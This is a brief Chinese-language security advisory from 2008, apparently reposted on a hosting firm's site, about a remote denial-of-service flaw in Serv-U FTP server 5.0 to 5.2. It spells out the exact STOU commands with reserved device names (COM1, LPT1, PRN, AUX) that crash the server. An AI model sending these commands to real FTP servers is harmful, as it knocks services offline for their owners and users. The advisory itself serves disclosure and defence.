云尚科技 云集四海客,尚贤八方人 电话:400-600-5590

FTP上传问题 > Serv-U FTP服务器设备远程拒绝服务漏洞

Serv-U FTP服务器设备远程拒绝服务漏洞

2008-08-06

涉及程序:

Serv-U FTP程序

描述:

Serv-U FTP服务器设备远程拒绝服务漏洞

详细:

Serv-U FTP是一款FTP服务程序。

Serv-U FTP对部分FTP命令处理不正确,远程攻击者可以利用这个漏洞对FTP服务程序进行拒绝服务攻击。

发送如下命令:

STOU COM1

STOU LPT1

STOU PRN

STOU AUX

可导致FTP程序崩溃。

受影响系统:

RhinoSoft Serv-U 5.2.0.0

RhinoSoft Serv-U 5.1.0.0

RhinoSoft Serv-U 5.0.0.9

RhinoSoft Serv-U 5.0.0.4

RhinoSoft Serv-U 5.0

厂商补丁:

RhinoSoft

---------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.serv-u.com/